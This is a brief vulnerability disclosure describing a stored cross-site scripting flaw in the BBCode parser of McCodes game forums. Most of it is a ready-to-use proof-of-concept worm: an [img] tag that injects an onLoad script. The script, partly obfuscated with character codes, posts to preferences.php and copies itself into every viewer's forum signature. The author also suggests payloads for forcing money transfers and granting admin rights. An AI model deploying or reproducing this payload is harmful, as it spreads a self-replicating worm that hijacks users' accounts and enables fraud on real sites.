This exploit is the result of a bad bbcode parser in the in-game forums of McCodes. I notified some owners, and some brushed me off as they didn’t think it could cause much damage.
Proof of concept:
If a user sets this as their forum signature in a vulnerable McCodes installation, every user who sees their post will have their forum signature replaced with the same exploit code, along with any payload added to it. The current payload is simply the image itself.
[img]http://i25.photobucket.com/albums/c88/jordyn7/charlie-sigh.jpg' id='uniqueimgid' onLoad='var xmlhttp;if (window.XMLHttpRequest) xmlhttp=new XMLHttpRequest();else xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");xmlhttp.open("POST", "preferences.php?action=forumchange2", true);xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");xmlhttp.send("forums_signature="+String.fromCharCode(91, 105, 109, 103, 93, 104, 116, 116, 112, 58, 47, 47, 105, 50, 53, 46, 112, 104, 111, 116, 111, 98, 117, 99, 107, 101, 116, 46, 99, 111, 109, 47, 97, 108, 98, 117, 109, 115, 47, 99, 56, 56, 47, 106, 111, 114, 100, 121, 110, 55, 47, 99, 104, 97, 114, 108, 105, 101, 45, 115, 105, 103, 104, 46, 106, 112, 103, 39, 32, 105, 100, 61, 39, 117, 110, 105, 113, 117, 101, 105, 109, 103, 105, 100, 39, 32, 111, 110, 76, 111, 97, 100, 61, 39)+document.getElementById("uniqueimgid").getAttribute("onLoad")+String.fromCharCode(91, 47, 105, 109, 103, 93));[/img]
Any kind of action can be done. You can force users to send $X to someone, force admins to grant a user admin status, render the forums unusable by embedding Nyan Cat iframes in every post, etc.